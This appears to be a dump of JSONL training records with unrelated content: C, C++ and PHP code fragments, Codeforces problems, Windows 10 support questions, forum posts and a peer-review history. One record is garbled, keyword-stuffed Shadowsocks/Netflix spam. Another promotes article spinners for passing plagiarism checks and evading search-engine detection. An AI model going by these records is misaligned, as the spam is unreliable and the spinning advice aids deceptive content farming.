HEAP_ZERO_MEMORY, sizeof(DMUS_OBJECTDESC));\n\tDM_STRUCT_INIT(obj->pDesc);\n\tobj->pDesc->dwValidData |= DMUS_OBJ_CLASS;\n\tmemcpy (&obj->pDesc->guidClass, &CLSID_DirectMusicBand, sizeof (CLSID));\n\tobj->ref = 0; /* will be inited by QueryInterface */\n\tlist_init (&obj->Instruments);\n\t\n\treturn IDirectMusicBandImpl_IUnknown_QueryInterface ((LPUNKNOWN)&obj->UnknownVtbl, lpcGUID, ppobj);\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "It seems like you could access Indonesian 21 Feb 2017 Netflix is pleased to announce the open source release of Stethoscope, our first project following a User Focused Security approach. 6 Sep 2020 This tutorial shows you how to set up Shadowsocks on Ubuntu. Shadowsocks is a fast Socks5 proxy to bypass Internet censorship. SOCKS5 Proxies. How to bypass restrictions, Configure Torrent via SOCKS5, Anonymous Proxies, Paid SOCKS5 Proxies, access Netflix via SOCKS5 and more. Shadowsocks, como proyecto proxy de código abierto y basado en trate de acceder a plataformas geográficamente retringidas como Netflix, Muchos confunden Shadowsocks y los servicios de VPN, pero aunque de los gobiernos del mundo, y son ideales para servicios de streaming como Netflix.\nif you want to access - Traducción al español - ejemplos .\nso you won't experience any buffering issues whilst you're watching your favourite TV show on Netflix.\nError Leer Econnreset Shadowsocks Mac - liuteocepna.gq\nLast active Mar 17, 2019. Star 0 Shadowsocks local initiates a TCP connection to Shadowsocks remote by sending an encrypted data stream. The exact encryption scheme depends on the cipher used. Subsequently, the Shadowsocks remote receives, decrypts, and parses the encrypted data stream. 【Siemens Tutorials】本视频介绍如何搭建DNS解锁突破NetFlix播放限制。本期视频项目地址:https://github.com/ab77/netflix-proxy原生IP查询 Shadowsocks: A secure SOCKS5 proxy 2 Stream Cipher 1.2 TCP ss-local initiates a TCP connection to ss-remote by sending an encrypted data stream starting with the target address followed by payload data.\n¿Cuál es la mejor VPN para China? 5 que todavía funcionan .\nIt will help you surf the internet privately and securely. FEATURES 1. Bleeding edge techniques with Unblocking Netflix at school or work is extremely easy, all you need is a cheap online Another option is to try using a Netflix VPN that provides Shadowsocks, as this is known Shadowsocks vs VPN: some functions of VPN services and Shadowsocks are the same, but What to watch on Netflix Of all the premieres that have taken place this week, we Shadowsocks is a free and open-source encryption protocol project, widely used in China to circumvent Internet censorship. It was created in 2012 by a Chinese programmer named \"clowwindy\", and multiple implementations of the protocol have been made available since. Shadowsocks is not a proxy on its own, but (typically) is the client software to help connect to a third party SOCKS5 proxy, which is similar to a Secure Shell (SSH) tunnel. Once connected, internet traffic can then be directed through the Projects of Shadowsocks are distributed under different licenses, including APL 2.0, GPLv3 and LGPLv3.\nRandom dice best co op deck - Gaia Lattuada\nPost yours and see other's reports and complaints.\nbNet Service VPS, Hosting Web, Túnel SSH / DROPBEAR .\nhide. report. 100% Upvoted. This thread is archived. New comments cannot be posted and votes cannot be cast.\nIcono Shadowsocks, dlls de qt5 Gratis de Papirus Apps\nWe may add additional Recommendation: Xray, with the new VLESS+XTLS protocol, is the recommended choice for Netflix, web-browsing, and streaming. If you don't have access to the new protocol (mainly on Mac OS), the old V2ray is good for Netflix, Shadowsocks for web-browsing and streaming, Eclipse for security and Video conferencing, and SmartDNS for Netflix unblocking on TVs and consoles. 22/07/2020 使用Shadowsocks打开Netflix的正确姿势 — WannaFlix (附优惠码) 7月 30, 2020 9月 11, 2019 由 Edward.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 862, "token_count_with_eod": 863, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Little Big Snake io is a game developed by one of the most famous online game makers IO Games. They are famous for their games such as Ghosts.io, Moomoo.io and etc. This time IO games have brought up a new game called “Little big snake”. If you have been playing snake games on your elder’s phone in your childhood, I assure you, you will love this new version of the game.\nThe game starts off in a brown muddy terrain with a snake. You name your snake whatever you want to. That name will appear to other users as well. The snake is green colored with red tongue initially. It grows by eating shinny circles in the setting. As this is an online game, other people from all parts of the world are also playing it. You have to stay away from big snakes as they will eat you. You also have to save yourself from crashing into mountains.\nThe snake can accelerate its speed and reach the circles before anyone else gets them. It evolves by experience and food. Special powers can be bought up by using coins in evolution tab. The achievement tab will show you all the things you have achieved in the game. There are quests available by completing them you will unlock new snakes and gain XP to level up. There is also an option to play with friends as a team once you register yourself to the game. The game stop can also be accessed for special offers and abilities after the registration.\nThe game is simple and easy to play. Use the mouse of your laptop or PC to move the snake. The snake will move in the direction of your mouse. To accelerate the snake click left twice.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 334, "token_count_with_eod": 335, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "In recent weeks, it has become impossible for me to safely remove my external drives. (Mostly, I use Western Digital Passports, Passport Ultras, etc).\nI am using Windows 10.\nI close all of my programs and folders. I get the \"busy\" message and to try again later. I run Unlocker on the drives, and Unlocker shows no activity or actions that I can take. I bring up my task manager and nothing is running. I try to safely eject from the WD utility and it doesn't work. I try to eject by going to my computer, right clicking on the drive, and ejecting from there. Sometimes I simply wait for half an hour, read some articles, try again. I get the same \"busy\" or can't shut down message.\nI read online that I could try to Device Manager, click on the drive, and under policies select \"Optimize for Performance.\" However, the computer must restart for changes to take place, and when i've tried, I get stuck on an infinite \"Restarting\" screen.\nI read somewhere that I can try to empty a hidden recycle bin on my external, but I can't seem to reveal it?\nI just upgraded to Windows 10 1511 (November Update), and saw the new (modernized) Safely Remove icon in the system tray - and the problem, it's not working properly.(I know, it's a Windows 7 Screenshot, I found it online, it's just for reference).As we can see from the comparison, mine only shows the second row, that being the device description (Name and drive letter), and no longer shows \"Eject Storage Device\".\nSo the safely remove icon in the system tray is now practically useless. I search over, and found no one with the same issue, nor did I find any direct fix. I shutdown and reboot a couple of times, tried different USB devices and ports, I also did try a couple of related tweaks, like changing the removal policy, and scan for hardware changes, etc - but still, no luck.Though note, the eject function is still available through file explorer:\nIn Windows 7 we had the option of selecting which icons were permanently or only displayed when they had a notification in the taskbar. I haven't been able to find where the option is to change the settings in Windows 10, is there one?\nI have set my external hard drives to performance mode, and recognize the warning that I won't be able to simply unplug them. Basically, I have to use the little green safely remove hardware icon. Nothing new. In Windows 10 however, when an external drive is attached, and I go to eject it using the safely remove hardware, they are always grayed out and I'm unable to do so. Is there another setting I need to do, or is Windows 10 saying that even with the performance boxes checked, I can still remove drives without \"safely removing them.\"\nI have created Eject \"N\", etc for each drive letter from G-Z and they all work. They will safely remove my external HDDs. I have also created a context menu entry for Safely Remove > and it has a string value for subcommands, none of which will show when hovered upon. I need to move all of my Eject entries under the Safely Remove in order to keep my context menu clutter free.how to do this?\nMy taskbar shows that I can \"Safely Remove Hardware and Eject Media\". I don't have anything plugged in. Selecting the message tells me that I can \"Eject Nvidia GTX 970\". Wouldn't that be odd? It's the friggin' video card! I'm partly ready to select that option, just to see what the computer would do. Oh, that's right: without a video card, I wouldn't be able to see what the computer is doing..Why does Windows 10 think that my PCIe card, the only one that's been in this machine, the one that's been there BEFORE W10 came along, why does W10 want to eject my card?\nAny way to hide it for good? Not disabling it, because that could cause some trouble, just that doesn't show in the tray? A .reg file would be awesome.\nI want this for 2 reasons: First, I don't use it, I use USB Disk Ejector; and second because it's wasting space. And don't worry, everything in there has a purpose, as myself installed everyone of them.\nWindows 10 OS using NVidia graphics and Realtek sound.This morning after a windows update ran , I have no sound. Troubleshooting shows that a solution maybe to reinstall 2 drivers from Realtek and NVidia. I tried the Auto fix solution but problem persists.On the Device Manager it is showing an orange warning triangle on both drivers, saying reinstall. Code 18. As I said the Auto update install does not rectify the problemCan I safely uninstall the drivers ? And then how do I reinstall them ?\nI'm having quite a bit of trouble removing the generic bluetooth drivers that Windows installs for you. Those have to be gone if I want to install Toshiba Bluetooth Stacks, which I need in order to use my Wii U Pro Controller in my computer. I've gone through a few methods to try this out and all have failed.\nI started out by simply uninstalling the drivers on the device manager (or whatever it is called in English). Didn't work, as the drivers were back when I had to plug in my dongle to complete the installation for TBS. When I tried this in Windows 7, it worked flawlessly, yet in Windows 10 this method did not work.\nAfterwards, I tried deactivating the forced driver signature, as well as make it so Windows Update doesn't automatically download any drivers it finds suitable. On top of this, I traveled into the INF folder of my Windows folder to do steps that Microsoft recommended: rename bth.inf to bth.inf.old and bth.pnf to bth.pnf.old. With all this, it should in theory work right? Nope, it didn't. Not even after a reset.\nMy last attempt involved unplugging my PC from the Internet as a first step, followed by everything else listed above and then a reset. The drivers were still back, bth.inf and bth.pnf somehow magically appearing in my Windows folder when I have no Internet access. I'm at a loss as to what I'm supposed to do.\nI have no printer notification when I'm printing. In the control panel -> devices and printer -> printerserver properties these are enabled. I have no hiden icons in the taskbar. I tried in the windows registry the setting from windows 7:\nHKEY_CURRENT_USERPrintersSettingsEnableBalloonNotificationsRemote and HKEY_CURRENT_USERPrintersSettingsEnableBalloonNotificationsLocal.\nBut this also don't work. I'm printing to and HP Deskjet 895 CXI on an WIndows Home Server 2011. On my Windows 7 Pro machine the notification is present.\nI plugged in my USB drive and I get notification USB device not recognized. In This PC it shows but it looks like this:When I right click to try and format it, nothing happens. I also tried renaming the drive letter, nothing. I tried many USB fix tools, such as, USB drive defender, Flobo, mUSB Fixer, USB Refresh, USBFix 2016, and most of them didn't even see the device in the list. It's SanDisk Cruzer 16GB.\nI just got a notification which said to finish installing device software. How can I find out what device software the notification was referring to? There aren't any yellow flags in Device Manager, and Windows Update and Windows Update MiniTool didn't find any updates.\nRecently i upgrade my laptop to windows 10, and also update my graphic drivers, but now the battery icon in notification area is not visible and i can't change the brightness of my screen too. it seems that the graphic driver installed correctly.\nI guess I am used to removing a drive when done on USB...and I used to do this with eSATA. However, while I can still do this on USB is there any way to remove my eSATA drive when I am done? Some have said you do not need to in Win 10 and we can just shut it down and others say to use software like Hotswap.\nHow do I remove the dialog box telling me to update drivers ? I have automated updates from HP so I do not require a new program that wants to install on my computer. I'm confused as to whether it's from MicroSoft or some scam.\nThere is no icon in the hidden icons area in Windows 10 that allows one to safely eject an SD drive. I have an SD drive inserted in my computer and have uploaded the files I want to upload and now I want to remove the SD card without corrupting or destroying the files on it. How does one do this safely?\nI'm using an Intel Compute Stick as a dedicated processor to remote-control some portable audio equipment. To assist portability, the power supplies for all the gear are to a single plug and it's all made to be turned off by simply \"pulling the plug\" (i.e. no shutdown process). The Compute Stick basically being a fully functional Windows 10 device, it is NOT made to be powered down by simply \"pulling the plug.\"\nIt's somewhat annoying to have to reach in the rack to power up/down the Stick before I can move it, doubly annoying to have to sit there and wait for it to shutdown, especially if it *decides* it feels like doing some other kind of business before it gets around to my shutdown request. The annoyance factor is increased as there's no attached screen or HIDs to give confirmation that the shutdown request is pending.\nSo, my question is this: Is there any way to configure the Stick PC in a way that ensures it avoids the adverse effects of being powered down without a shutdown sequence?\nI have tried for days to remove a Bluetooth Speaker that did not install proper, I remove it try to re-pair does not pair, then upon reboot it is installed again with error. No matter how many times its removed Windows keeps re installing the device on its own.\nHow do you completely remove a bluetooth device, all traces so you can start fresh?\nI have searched the internet for 2 days and no one has the answer yet. Not even on the MS forums\nI have a drive that I want to use as a backup drive for a Windows 10 machine. The problem is the old drive has a boot partition on it that is making Windows 10 go nuts every time I plug it in. If I wait until after the machine boots and then plug it in via USB adapter then I can get to the files but I want to install it inside the machine permanently.A photo of the Disk Manager is below. How do I (or should I) remove that EFI System Partition? The Disk Manager won't let me do it.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2337, "token_count_with_eod": 2338, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Good afternoon fellow readers,\nI wrote this because I am just tired to keep explaining the kind of work laptop does to people around.\nWhy is it that people always think negatively about those using Laptop?\nI am a programmer that work remotely from home but whenever people come around the first thing they ask is “Am I also into yahoo?”.\nI will have to sit them down to start explaining what the programming job entails.\nHonestly, it is really frustrating!\n- Please why do people usually have this negative thought to those innocent programmers doing their legit job?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "#pragma once\n#include \"NumberList.h\"\nclass NaturalNumbers :\n public NumberList\n{\npublic : \n unsigned numbers[100], count;\n\n NaturalNumbers();\n \n void AddAt(unsigned int val , unsigned int pos);\n \n void PushBack(unsigned int val);\n \n void PushFront(unsigned int val);\n \n unsigned int PopBack();\n \n void SortAsc();\n void SortDesc();\n\n void Print();\n\n\n \n \n};", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "The Mjølner System: Metaprogramming System\nA metaprogram is a program that manipulate other programs.\nYggdrasil is a metaprogramming system, that supports creation of\nmetaprograms. Yggdrasil is grammar based: a metaprogramming\nenvironment may be generated from the grammar of any language\nThe metaprograms manipulate programs through a common represen\ntation called abstract syntax trees (ASTs)\nAn AST is modelled as an instance of a pattern. There is a pattern\ncorresponding to each syntactic category (non-terminal) of the\ngrammar. The grammar hierarchy is modelled by a corresponding\npattern hierarchy, derived automatically from the grammar.\nGrammar Based Interface\nThe grammar for a specific language result in a grammar based\ninterface-a metaprogramming environment with a set of patterns for\nthe language. A metaprogram using the grammar based interface will\nthus be language specific. Examples of tools that benefit from\nusing the grammar based interface are: semantic checkers, program\nanalyzers, interpreters, browsers, and graphical presentation\nThree Levels of Support\nThe AST may be manipulated at different levels of specialization:\n- Tree level: Here the AST is viewed as a tree. Examples of\ntools accessing the AST using the tree level are table-driven\nparsers and syntax-directed editors\n- Context-free level: This is the grammars based interface\ngenerated automatically from the grammar. Graphical\npresentation tools and browsers and examples of tools using\nthe context-free level.\n- Semantic level: At this level semantic attributes may be\nadded to the AST. The compiler is an example of a tool using\nthe semantic level to access the AST.\nUsers may develop their own metaprogramming tools.\nYggdrasil supports generation of metaprogramming environments from\na grammar. Users can then use this environment to develop their\nown metaprogramming tools-tools that manipulate other programs.\nThe Fragment System\nThe fragment system is a part of Yggdrasil, and enables the\nmanagement and manipulation of coherent ASTs located in different\nfiles. The functionality of the fragment system allows splitting\nof an AST into a number of sub-ASTs (sub-trees) by allowing some\ninferior nodes in the original AST to be replaced by special\nnodes. The AST, originally positioned at the position of that\nnode, is called a fragment and may be located in a totally\nFor further information, see\nMjølner System: Yggdrasil: The Meta Programming System.\nYggdrasil is the tree of the world. The ash tree of which the\ncrown covers the whole world. The tree gets power from the gods,\nfrom the evil giants and from the kingdom of the death. Everything\nin the world happens under the mighty crown of Yggdrasil.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Quality readable content is key here. Google, for example, will recognize that people are leaving your site soon after arriving if they perceive that your site or blog is full of junk content. This is called \"bounce rate.\" If your bounce rate is high, then people are quickly leaving your site. But for the sake of your business, to build your online reputation and brand, you want people to visit your site, stay for a while, and then keep revisiting over the long term.\nUsing Spinbot you can instantly spin (or rewrite) a chunk of textual content up to 10,000 characters in length (or about 1000 words), which is much longer than an average website or freely-distributed article. With a single click you can turn your old blog post or website article into a completely new one, thereby doubling the payoff you get in return for the time and energy you have already invested into creating quality website content. Spinbot is lightning fast as well as free, so there is potentially no limit to the amount of free web content that you can create using this tool.\nIf you have not used a spinner before then I would suggest that you first use something that require more human imput like The Best Spinner or Spinner Chief in order to understand the basic principles. However if you must go fully auto then I would suggest you go for Wicked Article Creator. I have it and understand it is similar to wordAI but a one off fee of $47.\nThe word is out ... there are potentially unlimited opportunities for making money online! But, at the same time, there is a lot of competition for these potentially lucrative opportunities. Not to worry, though. With the help of Article Rewriter Tool, the game has now changed -- in your favor. Before you might have been limited by your time or energy to market your website to major search engines, but now the results of your hard work can be multiplied by this free content rewriting service.\nBut it is the most important that the spun text, especially with version 2.0 usually passes CS test, and Google cannot even see it as spun content. Such as content can be used for links building as well as on money sites and qualitity is pretty good, as you saw in the example. It is much better than other article spinners with similar pricing as they do not get the right meaning of each and every word, so the rewrites sometimes looks funny/strange. It is of course much better than any free article spinner/rewriter I have tried.\nCross Platform – Being a Mac user I prefer when I can fire up a program locally. WordAi is web based and therefore works on Windows & Macs without issue (Linux as well). SpinnerChief III Ultimate has a Web Api that allows spinning from the web, but we did not have much luck with it, so at this time we consider SpinnerChief a Windows only application and therefore requires me to run it in a virtual Windows Machine using VMWare Fusion. This one is a hard one to call because clearly WordAi wins cross platform, but it doesn’t have all the extras that SpinnerChief offers.\nMost people don’t know that spinning content on their website truly optimizes their search among other users. However, it’s important to avoid using duplicate content because search engines will penalize you. This practice is best avoided at all times if you truly want your site to rank in search engines like Google. Spin Rewriter ensures that your spun articles pass Copyscape to give you peace of mind that your content is unique. Spin Rewriter 9.0 allows you to rewrite articles using SEO techniques so that you can rank for certain keywords. When you rank for more keywords you will be attracting more visitors to your site organically. With a steady traffic flow to your blogs, you’ll find making bank easier than ever. Whether you use AdWords, sell Amazon products, or run affiliate offers, a reliable online income is now within your grasp.\nThere is a completely new feature - Team Version, SpinnerChief 5 is the only article spinner that has a team version now, which is especially designed for team using, create/manage/use team thesaurus with team members together, and multi-users can use the license on different computer with themselves member accounts. Manager can manage team members easily.\nI've ranked websites in the past with spun content, and now they are still on #1 position of google. First year (2014) google found me because my spun was really bad, many paragraphs were just copied and my position drop from #2 to around #20 after a panda update. Later I cleaned all my text with better spun (I didn't buy any article!), my ranking went up again, and with more backlinks I reached #1 and it is still there", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Jay managed to create a problem of difficulty $$$x$$$ and decided to make it the second problem for Codeforces Round #921.\n\nBut Yash fears that this problem will make the contest highly unbalanced, and the coordinator will reject it. So, he decided to break it up into a problemset of $$$n$$$ sub-problems such that the difficulties of all the sub-problems are a positive integer and their sum is equal to $$$x$$$.\n\nThe coordinator, Aleksey, defines the balance of a problemset as the GCD of the difficulties of all sub-problems in the problemset.\n\nFind the maximum balance that Yash can achieve if he chooses the difficulties of the sub-problems optimally.", "source": "cpt_codeforces", "language": "en", "token_count": 149, "token_count_with_eod": 150, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Ok this has been out for a while but I've not had chance to look into it. Earlier in the year I reviewed one of Slitherines' \"table top\" strategy game releases \"Conquest\" so when this came through a couple of days ago I checked out this, surprisingly good looking trailer:\nAccording to the youtube comments, if they can be trusted, it far less of an arcade strategy game than titles like Medieval II Total War. I've not played that either(!) so I have no idea if that's a good thing or not! Now I'm not as much as a table-top gamer as I was when I was in my teens but the trailer made me think that perhaps it was worth taking a look!\nThe screenshots make it look even better, I think I'll need to try the demo at least...\nHere's the link if you want to too!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 180, "token_count_with_eod": 181, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/*\n +----------------------------------------------------------------------+\n | Copyright (c) The PHP Group |\n +----------------------------------------------------------------------+\n | This source file is subject to version 3.01 of the PHP license, |\n | that is bundled with this package in the file LICENSE, and is |\n | available through the world-wide-web at the following url: |\n | https://www.php.net/license/3_01.txt |\n | If you did not receive a copy of the PHP license and are unable to |\n | obtain it through the world-wide-web, please send a note to |\n | license@php.net so we can mail you a copy immediately. |\n +----------------------------------------------------------------------+\n | Authors: Frank Denis |\n +----------------------------------------------------------------------+\n*/\n\n#ifndef PHP_LIBSODIUM_H\n#define PHP_LIBSODIUM_H\n\nextern zend_module_entry sodium_module_entry;\n#define phpext_sodium_ptr &sodium_module_entry\n\n#define PHP_SODIUM_VERSION PHP_VERSION\n\n#ifdef ZTS\n# include \"TSRM.h\"\n#endif\n\nPHP_MINIT_FUNCTION(sodium);\nPHP_MINIT_FUNCTION(sodium_password_hash);\nPHP_MSHUTDOWN_FUNCTION(sodium);\nPHP_RINIT_FUNCTION(sodium);\nPHP_RSHUTDOWN_FUNCTION(sodium);\nPHP_MINFO_FUNCTION(sodium);\n\n#endif\t/* PHP_LIBSODIUM_H */", "source": "cpt_stack_code", "language": "code", "token_count": 309, "token_count_with_eod": 310, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "something changed in this matter since 2009? http://stackoverflow.com/questions/1983106/hacking-attr-accessible-to-support-a-different-set-of-accessible-attributes-for\nso how would you limit which attributes may be assigned in update, and which cannot? By removing keys from hash (eg. params[:user])?\ndhoelzer: I had a question up there, which is \"best practice\" for attributes, which should be attr_accessible on create action, but not on update? Removing keys from params[:model] ?\nhi, is it possible and fine to set other validation context than :create or :update? I would like to have another validation context for updating by user with admin privileges : )", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 155, "token_count_with_eod": 156, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Polycarpus has a computer with n processors. Also, his computer has n memory cells. We'll consider the processors numbered by integers from 1 to n and that the memory cells are consecutively numbered by integers from 1 to n.\n\nPolycarpus needs to come up with a parallel program model. For each memory cell number i this program must record the value n - i to this cell. In other words, for each cell you've got to find the distance to cell n.\n\nLet's denote the value that is written in the i-th cell as ai. Initially, ai = 1 (1 ≤ i < n) and an = 0. We will consider that only processor i can write values in the memory cell number i. All processors can read an information from some cell (several processors can read an information from some cell simultaneously).\n\nThe parallel program is executed in several steps. During each step we execute the parallel version of the increment operation. Executing the parallel version of the increment operation goes as follows:\n\n1. Each processor independently of the other ones chooses some memory cell. Let's say that processor i has chosen a cell with number ci (1 ≤ ci ≤ n).\n2. All processors simultaneously execute operation ai = ai + aci.\n\nHelp Polycarpus come up with the parallel program model that is executed in exactly k steps. Calculate the operations that need to be executed. Note that after k steps for all i's value ai must be equal n - i.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Caretaker Status: Rogue\nAffiliated companion(s): COM-175-729-1\nLevel 6 - abstract\n1940s: from Greek (drakōn) ouroboros ‘(snake) devouring its tail’.\nAn ancient Egyptian/Greek symbol of a snake or serpent eating its own tail, variously signifying infinity and the cycle of life.\nMagic Status: 1 - Neophyte\nTier 1 - Their tail is always long enough to touch the Paralogos' nose.\nWisdom Status: 0 - Unaware", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 124, "token_count_with_eod": 125, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This image is in the public domain because it is a screenshot from NASA’s globe software World Wind using a public domain layer, such as Blue Marble, MODIS, Landsat, SRTM, USGS or GLOBE.\nThis work was previously under Public Domain, or a Free License. It has been digitally enhanced and/or modified. This derivative work has been (or is hereby) released into the public domain by its author, Sting at the French Wikipedia project. This applies worldwide.\nIn some countries this is not legally possible; if so:\nSting grants anyone the right to use this work for any purpose, without any conditions, unless such conditions are required by law. – Source: https://commons.wikimedia.org/wiki/File:Mediterranean_Sea_political_map-en.svg – File edited and by Helmut Bolesch.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 173, "token_count_with_eod": 174, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "[UbuntuWomen] [Project Harvest]Planning for Development\nbelkinsa at ubuntu.com\nWed Feb 18 23:13:06 UTC 2015\nI e-mailed Daniel Holbach about giving ownership of the harvest-dev team\nto the Elected Leaders of Ubuntu Women, but no response yet. I'm doing\nthis in order to get control over the team so we can get the ones\ninserted in helping in and remove the inactive folks.\nBut in the meanwhile, I would like to talk about planning for\ndevelopment as a plan is needed for success. The main things that I\nwould like to talk about are creating roles, assigning the bugs, setting\ndeadlines for them, and creating an IRC channel.\nSince Harvest is a program, there are various items that are needed.\nDocumentation (user and developer), coding, leadership/management, and\nbug management are the four that I can think of. Having that said, I\nthink we need at least one in each but coding. For coding, I think we\nneed two or more people- which we have based on the people who reached\nme. As for leadership/management, I can take that role because I\nalready have it. I will also take a shot at documentation. That leaves\nbug management, but I think I can take that role in the beginning and\npass it on once we find someone that can do it.\nAm I missing other roles?\nTo make life easier, I suggest that we assign bugs since we already have\na framework of code to work on. Once the ownership is passed to the\nElected Leaders of Ubuntu Women, we can have a meeting where we do bug\nassignments. Or we can do it before. It's our choice.\n*Setting Deadlines for Bugs*\nI'm doing this to get things done as soon as possible. But I have no\nidea on how long a deadline should be. Suggestions please.\n*Creating an IRC Channel*\nJust food for thought. We can do it via #ubuntu-women as it's a quiet\nchannel or have one for Harvest.\nThis not set in stone yet and is open for discussion. I'm willing to\nhave a meeting with the folks that are interested before we start work.\nAlso, I will create blueprints for what we need.\nUser Wiki page: https://wiki.ubuntu.com/belkinsa\nMore information about the Ubuntu-Women", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 511, "token_count_with_eod": 512, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "If you need to determine which virtualization platform is a Windows 7 Virtual Machine (VM) is running on, while, you have no access to any other tools such as, the hypervisor or virtualization manager, you can easily find out by issuing a simple command from the Windows command-line interface.\nWindows Management Instrumentation (WMI) allows you to write scripts and expose information about a Windows 7 resource or service. As we have seen in the previous post – Windows Management Instrumentation (WMI), WMI allows you to access system management information from the command-line interface! WMI can become handy when you need to retrieve specific information which may be not available from the GUI. Mastering the WMI command line utility may turn you into command line freak never wanting to leave the command line.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Born in Maryland on July 1, 1999. I love to talk sports and write sports, especially NFL and I've always wanted to be a broadcaster. I decided to begin commenting on Bleacher Report articles about three years ago, and heavily this year. I recently went to Sports Broadcasting Camp to learn more about my field, and wound up learning so much m about my field and made some friends in the process. I recently started a blog for Wordpress.com and my site is http://thefactsbehindthenumbers.wordpress.com/. I'm also on twitter, and you can read more about me and my blog there.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "To increase transparency, PeerJ operates a system of 'optional signed reviews and history'. This takes two forms: (1) peer reviewers are encouraged, but not required, to provide their names (if they do so, then their profile page records the articles they have reviewed), and (2) authors are given the option of reproducing their entire peer review history alongside their published article (in which case the complete peer review process is provided, including revisions, rebuttal letters and editor decision letters).\nThank you for the valuable time and patience you put into making your manuscript pass the peer review process successfully. I am pleased to inform you that your manuscript is accepted into PeerJ with expectation as noted below.\nPlease respond to the reviewer's latest round of comments, which are few, prior to a final decision on this manuscript.\nThe authors have done a good job in addressing most of my previous issues. While I would still prefer a tighter focus, I do not think this is an issue that calls for a rejection. Since the target audience is now more clearly described, readers will be able to decide for themself.\nI have two specific remarks on additions to the manuscript that should be addressed in a revision.\n# Specific remarks:\nFirst, authors now note that \"significant effort\" is necessary before one can collect data. In order not to put manypotential user off, it would be important to provide some estimate on how long it takes to learn/teach these techniques. Even if there is no hard data on this some information based on your experiences would be good. For example a friend of mine regularly teaches workshops for online-questionnaire studies that take approx. 4h and include learning lime-survey and specifics of online questionnaire research.\nCould you provide a similar estimate for the time it takes to set up an Mturk account and how much time is beeing spend on such a study, e.g. how many percent of the participants try to get in contact?\nSecond, in table 3 that gives an overview of the software it is claimed that all allow for a measurement of reaction times. I think this is misleading because Limesurvey and Inquisit are clearly not on par on this issue. It may be much better to describe the precision at which reaction times can be measured (for limesurvey seconds; for Inquisit several milliseconds). This will help researchers decide on the adequate tool.\nPlease carefully consider reviewer comments and use discretion whether applicable to make revisions. I struggle with aspects of focus here which could be due to the number of authors each contributing her/his share with tighter control needed over content synthesis. I have a few observations to add to the reviewers.\nIt seems to be called a tutorial and then a lit review and then heavy enough emphasis on MTurk to indicate that should be in the title. It doesn't address enough historical aspects leading up to current trends.\nI created the first Web-based survey and study of Internet addiction back in 1995 for online participants who perceived themselves as addicted and I published it in 1996. While it is pretty much lost today, for what it is worth, perhaps anecdotally, you can still access it at http://w8r.com/iads/survey.html. Times and methods have certainly changed; the importance of your study is certainly timely and relevant.\nIn addition to reviewer suggestions, I would like to see either more comparison over time regarding the matter of online surveys for psychology experiments in lab v. online or clearer indication that your study seeks to look at a more definitive timeline, should I have missed it.\nWhile I would posit the overall decision between Minor-Major here, I wish to ensure all relevant reviewer comments are seriously taken into consideration in revision by all authors for the best synthesized paper to be published in PeerJ.\nAll the best.\nVery clearly reported with some exceptions as described in the general comments.\nThe research question is defined but should be more focused as described in the general comments.\nThe conclusions are balanced and the authors offer many useful suggestions and tipps for conducting online studies.\nIn the article “Conducting perception research over the internet: a tutorial review” authors give the authors provide a review of methodological sutides on online testing.\nWhile the question of is important I believe that the authors need to focus more strongly on the topic of perception research. In the current form the review reiterates many discussions without adding new aspects that are irrelevant to perception-studies.\n# Major issues\nIn my view the whole section on \"Benefits of conducting research online\" mixes very general issues and those specifically relevant to perception-research. I am not convinced that the same aspects are relevant to perception studies compared with questionnaire studies. Rather than repeating these well-known studies on benefits of online testing - particularly mTurk - this should be severely shortened (1 page) or removed altogether.\nOn the balance the parts that are most relevant for anyone planning a study - sections on timing-issues, hardware and selection on software could be expanded.\n# Specific remarks:\n# Benefits of conducting research online\n## Access to a more representative sample of participants\n- The authors make a claim that the online sample fit better, but offer only very vague data about the sample. It would make a much better point if they scrutinized a random selection of papers reporting on lab-based studies. Otherwise authors should remove claims about lab-based research.\n- Authors should try ot focus on aspects that are specific to perception studies.\n- It is unclear what the sample should be representative for. Only US-citizens?\n## Access to large pools of participants\n- \"highly praised on twitter, \" should be removed.\n- This paragraph actually describes how internet based recruitment may be more objective than lab-based forms.\n## Recruitment platforms\n- This section would also be much better if a stringent criteria were used to comapre the different services. Availibility from outside US, diversity of sample, sample-size, princing\n## Speed of data collection\n- A more balanced view would try to describe the time it takes to set up an account for the first time etc. and start an individual study.\n## Cross-cultural research\n- \"(e.g., Levitan et al., 2014; Wan et al, 2014a, 2014b, 2015).\" It is unclear why the authors choose to citate studies that all pertain to modalities that cannot be tested online\n- \"Eriksson and Simpson\": Why was this study chosen? It seems like a 